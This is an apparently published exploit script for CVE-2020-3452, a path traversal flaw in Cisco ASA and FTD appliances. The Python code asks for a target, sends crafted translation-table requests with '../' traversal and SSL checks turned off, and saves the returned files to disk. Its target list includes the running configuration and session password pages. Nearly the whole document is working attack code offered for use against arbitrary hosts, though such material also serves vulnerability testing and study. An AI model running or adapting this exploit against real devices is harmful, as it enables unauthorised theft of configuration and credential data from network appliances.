Cisco ASA version 9.14.1.10 and FTD version 6.6.0.1 path traversal exploit. Original discovery of this vulnerability is attributed to 3ndG4me in October of 2020.
7cf23b4f5854a2f296a17705db8fae41# Exploit Title: Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2)
# Date: 12 Dec 2020
# Exploit Author: [email protected]
# Vendor Homepage: cisco.com
# Software Link: It’s against Hardware, specifically ASA’s and FTD’s
# Version: ASAs (from version 9.6 to 9.14.1.10) and FTD’s (versions 6.2.3 to 6.6.0.1)
# Tested on: exploit runs on Python3 on OSX and on Kali Linux against cisco ASA 9.14
# CVE : CVE-2020-3452
# Github : https://github.com/cygenta/CVE-2020-3452
import requests
# Written by freakyclown for @CygentaHQ
# Cisco ASA Path Traversal
# CVE-2020-3452
# Usage: CVE-2020-3452.py {target}"
# Example: CVE-2020-3452.py 192.168.0.12"
# Requires - Requests - pip3 install requests
#
# This tool takes advantage of the above cve and attempts to
# download files as listed below, it is suggested that you make
# a working folder for the outputfiles to avoid confusion if
# attacking mutliple ASA's
# set your target
target = input("Enter target IP/Url: ")
def grabstuff():
for file in files:
print("trying: ", file)
#set request parameters
params = (
('type', 'mst'),
('textdomain', '+CSCOE+/'+file),
('default-language', ''),
('lang', '../'),
)
# set the response to the result of the request, inputting in target and params and ignoring ssl cert problems
response = requests.get('https://'+target+'/+CSCOT+/translation-table', params=params, verify=False)
# write the file to the disk
f = open(file,"w")
f.write(response.text)
f.close()
# this is a list of files available to download, more will be added in time
# if anyone has a list of ASA files, I'd be happy to add here
files = {
"sess_update.html",
"blank.html",
"noportal.html",
"portal_ce.html",
"portal.html",
"logon_custom.css",
"svc.html",
"logo.gif",
"portal_inc.lua",
"nostcaccess.html",
"session.js",
"portal.js",
"portal_custom.css",
"running.conf",
"tlbrportal_forms.js",
"logon_forms.js",
"win.js",
"portal.css",
"lced.html",
"pluginlib.js",
"useralert.html",
"ping.html",
"app_index.html",
"shshimdo_url",
"session_password.html",
"relayjar.html",
"relayocx.html",
"color_picker.js",
"color_picker.html",
"cedhelp.html",
"cedmain.html",
"cedlogon.html",
"cedportal.html",
"portal_elements.html",
"commonspawn.js",
"common.js",
"appstart.js",
"relaymonjar.html",
"relaymonocx.html",
"cedsave.html",
"tunnel_linux.jnlp",
"ask.html",
"no_svc.html",
"preview.html",
"cedf.html",
"ced.html",
"logon_redirect.html",
"logout.html",
"tunnel_mac.jnlp",
"gp-gip.html",
"auth.html",
"wrong_url.html",
"logon.html"}
# obvious thing is obvious, try the things and barf if fail
try:
grabstuff()
except Exception as err:
print("Something went wrong sorry")
print(err)